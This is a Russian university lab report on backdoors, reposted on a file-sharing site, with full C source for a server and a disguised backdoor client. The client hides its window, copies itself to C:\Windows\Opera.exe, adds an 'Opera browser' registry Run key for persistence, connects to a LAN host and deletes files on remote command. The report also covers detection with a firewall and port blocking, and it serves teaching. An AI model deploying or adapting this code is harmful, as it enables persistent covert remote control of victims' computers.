Главная страница
Навигация по странице:

  • Кафедра «Информационная безопасность компьютерных систем» ЛАБОРАТОРНАЯ РАБОТА № 4

  • Цель работы

  • Ход работы

  • Описание добавления программы-клиента в автозагрузку

  • Межсетевой экран Comodo

  • Результаты работы программы

  • Ответы на вопросы

  • 4 лабораторная работа «Защита от встраиваемых потайных ходов». Лабораторная работа 4 Защита от встраиваемых потайных ходов по дисциплине Основы информационной безопасности


    Скачать 62.28 Kb.
    НазваниеЛабораторная работа 4 Защита от встраиваемых потайных ходов по дисциплине Основы информационной безопасности
    Анкор4 лабораторная работа «Защита от встраиваемых потайных ходов
    Дата03.04.2023
    Размер62.28 Kb.
    Формат файлаdocx
    Имя файлаZaschita-ot-vstraivaemykh-potaynykh-471007.docx
    ТипЛабораторная работа
    #1034612


    1. Министерство образования и науки Российской Федерации

    2. Санкт-Петербургский Политехнический Университет Петра Великого



    3. Институт прикладной математики и механики

    4. Кафедра «Информационная безопасность компьютерных систем»



    ЛАБОРАТОРНАЯ РАБОТА № 4


    1. «Защита от встраиваемых потайных ходов»



    2. по дисциплине «Основы информационной безопасности»



    1. Выполнили

    2. студент гр. 4851001/10002 Сергеев Н.С.

    <подпись>



    1. Проверил

    2. преподаватель Калинин М.О.

    <подпись>







    1. Санкт-Петербург 2022

    1. Цель работы

    Приобрести навыки по анализу структуры, функциональности и угроз специально встраиваемого дефекта программного продукта – потайного хода (backdoor), а также изучить методы защиты от уязвимостей такого вида.

    1. Ход работы

    1. Использованные методы маскировки:

    Для маскировки клиентская часть программы запускается без окна. Название программы похоже на название исполняемого файла одного из распространённых веб браузеров, что должно вызвать дополнительное доверие. При прописывании ключа в реестре для автозагрузки используется строка «Opera browser», что намекает на необходимость запуска.

    1. Описание добавления программы-клиента в автозагрузку:

    Поскольку предполагается использование потайного хода на Windows-системе, клиентская программа добавляет в системный реестр ключ для автоматической загрузки вместе с системой. В исходном коде клиента это метод autoloading();. Перед этим программа копирует себя в системный каталог, и прописывает автозапуск для исполняемого файла уже из диска C. Таким образом, удаление первоначального файла не приведёт к решению проблемы.

    void autoloading()

    {

    HKEY hKey = NULL;

    char way[0x100];

    GetModuleFileName(NULL, way, sizeof(way)); //извлекает полный путь доступа к исполняемому файлу

    CopyFile(way, "C:\\Windows\\Opera.exe", 1); //копирует существующий файл в новый файл
    LONG rc = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey);
    if (rc == ERROR_SUCCESS)

    {

    way[0] = '\0';

    strcpy(way, "C:\\Windows\\Opera.exe");

    RegSetValueEx(hKey, "Opera browser", NULL, REG_SZ, (LPBYTE)way, strlen(way)); //создает параметр в разделе реестра

    RegCloseKey(hKey);

    }

    else

    {

    printf("Error!");

    }

    }


    1. Межсетевой экран Comodo:

    Установив программный межсетевой экран “Comodo Фаервол” на атакуемый компьютер, фиксируем список открытых сетевых портов, а также отмечаем поведение межсетевого экрана на запуск клиента:



    Рис. 1. Список открытых портов


    После того, как разрешаем запрос на соединение, фиксируем сетевые порты, которые ими использовались. Блокируем их и по новой производим запуск клиента и сервера. После блокировки порта соединение с сервером не было установлено.



    Рис. 2. Блокировка порта



    1. Результаты работы программы:

    При первичном запуске программа-клиент добавляет себя в автозагрузку, выполняется без окна, производит удаление файла по запросу программы-сервера. Однако, клиент виден при просмотре в диспетчере задач на атакуемой машине. При удалении исполняемого файла и перезагрузки системы, клон программы на диске C выполняет те же операции, его также можно обнаружить в диспетчере задач.

    1. Ответы на вопросы

    1. Какие угрозы несут потайные ходы? Потайной ход позволяет копировать, удалять файлы с пораженного компьютера, позволяет получить удаленный доступ к реестру, производить системные операции: создание новых сетевых ресурсов, модификацию паролей и т.д.

    2. Как можно обнаружить потайной ход, если он открывает порт только на короткие промежутки времени, которые заранее не известны? Для того, чтобы обнаружить потайной ход, нужно регулярно осуществлять проверку открытых портов, а также установить специальную программу-монитор (например, Commodo Internet Security,) которая позволяет обнаруживать такие программы.

    3. Можно ли использовать потайные ходы для организации распределенной атаки типа «отказ в обслуживании»? Да, потайные ходы можно использовать для организации распределенной атаки отказа в обслуживании, например, заставлять так называемых “зомби” отправлять запрос на определенный сервер, таким образом при очень большом количестве запросов, сервер перестает работать в нормальном режиме и отвечать на запросы.

    4. Каким образом можно удалить процесс программы-клиента из списка задач Диспетчера задач? Вызвать Диспетчер задач. Выделяется нужный процесс, и в нижнем правом углу появляется активируется кнопка “Снять задачу”. После нажатия задача перестает быть активной.

    5. Опишите схему работы потайного хода, использующего для удаленного управления Telnet-сервер. Telnet – это сервер, который обслуживает протокол TELNET. Обычно telnet запускается через сервис Internet, в некоторых системах может быть запущен вручную. Telnet обслуживает TCP-порт 23, но может быть запущен и на другой порт. Принцип работы сервера заключается в том, что он “слушает” порт TCP. В случае поступления запроса на обслуживание, telnet назначает каждому удаленному клиенту псевдотерминал в качестве стандартного файла ввода, вывода, ошибок. При установке взаимодействия с удаленным клиентом telnet обменивается командами настройки (эхо, обмен двоичной информацией, тип терминала, скорость обмена). После подключения удаленный пользователь должен ввести имя пользователя и пароль. После входа в систему пользователь видит командную строку, которую можно использовать, как будто эта командная строка была запущена локально в консоли сервера. Команды, вводимые в командной строке клиента, отправляются на сервер и выполняются там, как будто пользователь локально подключился к сеансу командной строки на сервере.

    1. Выводы

    В ходе работы мы ознакомились со шпионским программным обеспечением, а именно потайными ходами. Мы узнали, структуру потайных ходов, их функции, какие опасности представляют эти программы для компьютеров, а также какими действиями и мероприятиями можно защитить свой компьютер от рук злоумышленников. Слабо продвинутый пользователь может долгое время работать на системе, в которой присутствует Backdoor, и даже не подозревать, что его компьютер используется в нелегальных целях. Его выход в интернет может использоваться для сетевых атак, для сканирования сетей или для скрытого сбора информации.
    Приложение 1

    #undef UNICODE

    #define _CRT_SECURE_NO_WARNINGS

    #define WIN32_LEAN_AND_MEAN
    #include

    #include //подключение сокетов для передачи данных

    #include

    #include

    #include

    #include
    #pragma comment (lib, "Ws2_32.lib") //соответствующиq lib-файл для winsock2.h
    #define DEFAULT_BUFLEN 260

    #define DEFAULT_PORT "1111" //номер порта
    int main()

    {

    SetConsoleCP(1251); //

    SetConsoleOutputCP(1251); //распознование кириллицы в консоли
    int Result;
    //Инициализация Winsock

    WSADATA wsaData; //для инициализации сокетов

    WORD DLLVersion = MAKEWORD(2, 2); //указывает старший номер версии библиотеки

    Result = WSAStartup(DLLVersion, &wsaData);

    //В случае успеха функция возвращает нулевое значение

    if (Result != 0)

    {

    printf("Error!\n");

    return 1;

    }
    struct addrinfo *result = NULL; // используется для подготовки структуры адреса сокета

    struct addrinfo hints; // подсказки о типе сокета

    ZeroMemory(&hints, sizeof(hints)); //заполняем память 0

    hints.ai_flags = AI_PASSIVE; //назначить сокету адрес моего хоста (адрес сокета будет исп. при вызове функции привязки)

    hints.ai_family = AF_INET; //указание версии протокола

    hints.ai_socktype = SOCK_STREAM; //обеспечивает последовательные, надежные, двусторонние байтовые потоки

    hints.ai_protocol = IPPROTO_TCP; //TCP — один из основных протоколов передачи данных интернета, предназначенный для управления передачей данных
    // Перевод имени хоста в адрес

    Result = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);

    if (Result != 0)

    {

    printf("Error!\n");

    WSACleanup();

    return 1;

    }
    // Создать сокет для подключения к серверу

    SOCKET ListenSocket = INVALID_SOCKET;

    ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); //создание сокета, домен, тип канала, протокол

    if (ListenSocket == INVALID_SOCKET)

    {

    printf("Error! Создать сокет не удалось\n");

    freeaddrinfo(result);

    WSACleanup();

    return 1;

    }
    // Настройте сокет прослушивания TCP (прослушивания запросов на установку соединения)

    // Привязать имя к сокету

    Result = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); //адрес, длина адреса

    if (Result == SOCKET_ERROR)

    {

    printf("Error!\n");

    freeaddrinfo(result);

    closesocket(ListenSocket);

    WSACleanup();

    return 1;

    }
    freeaddrinfo(result);
    Result = listen(ListenSocket, SOMAXCONN); //информируем ОС, что мы ожидаем ("слушаем") запросы связи на данном сокете

    if (Result == SOCKET_ERROR) {

    printf("Error!\n");

    closesocket(ListenSocket);

    WSACleanup();

    return 1;

    }
    // Принять клиентский сокет (принятия связи на сокет)

    SOCKET ClientSocket = INVALID_SOCKET;

    ClientSocket = accept(ListenSocket, NULL, NULL);

    if (ClientSocket == INVALID_SOCKET)

    {

    printf("Error!\n");

    closesocket(ListenSocket);

    WSACleanup();

    return 1;

    }
    printf("Успешно подключен к клиенту и готов удалить файл\nВведите путь: ");

    char way[DEFAULT_BUFLEN];

    scanf("%s", way);

    way[strlen(way)] = '\0';

    Result = send(ClientSocket, way, (int)strlen(way), 0); //запись данных в клиентский сокет

    if (Result == SOCKET_ERROR)

    {

    printf("Отправить не удалось\n");

    closesocket(ClientSocket);

    WSACleanup();

    }

    way[0] = '\0';
    //печатает удалился ли файл

    int len = DEFAULT_BUFLEN;

    Result = recv(ClientSocket, way, len, 0); //чтение данных из клиентского сокета

    int i = 0;

    while (way[i] != '\0')

    {

    printf("%c", way[i]);

    i++;

    }
    _getch();

    return 1;

    }

    Приложение 2

    #define WIN32_LEAN_AND_MEAN

    #define _CRT_SECURE_NO_WARNINGS

    #include

    #include

    #include

    #include

    #include

    #include
    #pragma comment (lib, "Ws2_32.lib")

    #pragma comment (lib, "Mswsock.lib")

    #pragma comment (lib, "AdvApi32.lib")
    #define DEFAULT_BUFLEN 260

    #define DEFAULT_PORT "1111"
    void autoloading()

    {

    HKEY hKey = NULL;

    char way[0x100];

    GetModuleFileName(NULL, way, sizeof(way)); //извлекает полный путь доступа к исполняемому файлу

    CopyFile(way, "C:\\Windows\\Opera.exe", 1); //копирует существующий файл в новый файл
    LONG rc = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey);
    if (rc == ERROR_SUCCESS)

    {

    way[0] = '\0';

    strcpy(way, "C:\\Windows\\Opera.exe");

    RegSetValueEx(hKey, "Opera browser", NULL, REG_SZ, (LPBYTE)way, strlen(way)); //создает параметр в разделе реестра

    RegCloseKey(hKey);

    }

    else

    {

    printf("Error!");

    }

    }
    int main()

    {

    SetConsoleCP(1251); //

    SetConsoleOutputCP(1251); //распознование кириллицы в консоли
    FreeConsole();

    autoloading();

    int Result;
    //Инициализация Winsock

    WSADATA wsaData; //для инициализации сокетов

    WORD DLLVersion = MAKEWORD(2, 2); //указывает старший номер версии библиотеки DLL

    Result = WSAStartup(DLLVersion, &wsaData);

    //В случае успеха функция возвращает нулевое значение

    if (Result != 0)

    {

    printf("Error!\n");

    return 1;

    }
    struct addrinfo hints; // подсказки о типе сокета

    ZeroMemory(&hints, sizeof(hints));

    hints.ai_family = AF_UNSPEC;

    hints.ai_socktype = SOCK_STREAM;

    hints.ai_protocol = IPPROTO_TCP;
    // Перевод имени хоста в адрес

    struct addrinfo *result = NULL; // используется для подготовки структуры адреса сокета

    Result = getaddrinfo("192.168.56.1", DEFAULT_PORT, &hints, &result); //ip-адрес для соединения, порт

    if (Result != 0)

    {

    printf("Error!\n");

    WSACleanup();

    return 1;

    }
    // Попытка соединиться с адресом

    SOCKET ConnectSocket = INVALID_SOCKET;

    struct addrinfo *ptr = NULL;

    for (ptr = result; ptr != NULL; ptr = ptr->ai_next)

    {

    // Создать сокет для подключения к серверу

    ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);

    if (ConnectSocket == INVALID_SOCKET)

    {

    printf("Error!\n");

    WSACleanup();

    return 1;

    }
    // Подключиться к серверу

    Result = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);

    if (Result == SOCKET_ERROR){

    closesocket(ConnectSocket);

    ConnectSocket = INVALID_SOCKET;

    continue;

    }

    break;

    }
    freeaddrinfo(result);
    if (ConnectSocket == INVALID_SOCKET){

    printf("Невозможно подключиться к серверу!\n");

    printf("Ожидание");

    _getch();

    WSACleanup();

    return 1;

    }
    char recvbuf[DEFAULT_BUFLEN];

    int recvbuflen = DEFAULT_BUFLEN;
    for (int i = 0; i < recvbuflen; i++) recvbuf[i] = '\0';

    Result = recv(ConnectSocket, recvbuf, recvbuflen, 0);
    int k = remove(recvbuf);

    if (k == -1){

    send(ConnectSocket, "Delete error\n", 14, 0); //запись данных в сервер сокет

    }

    else{

    send(ConnectSocket, "Successful delete\n", 19, 0); //запись данных в сервер сокет

    }
    _getch();

    return 1;}



    написать администратору сайта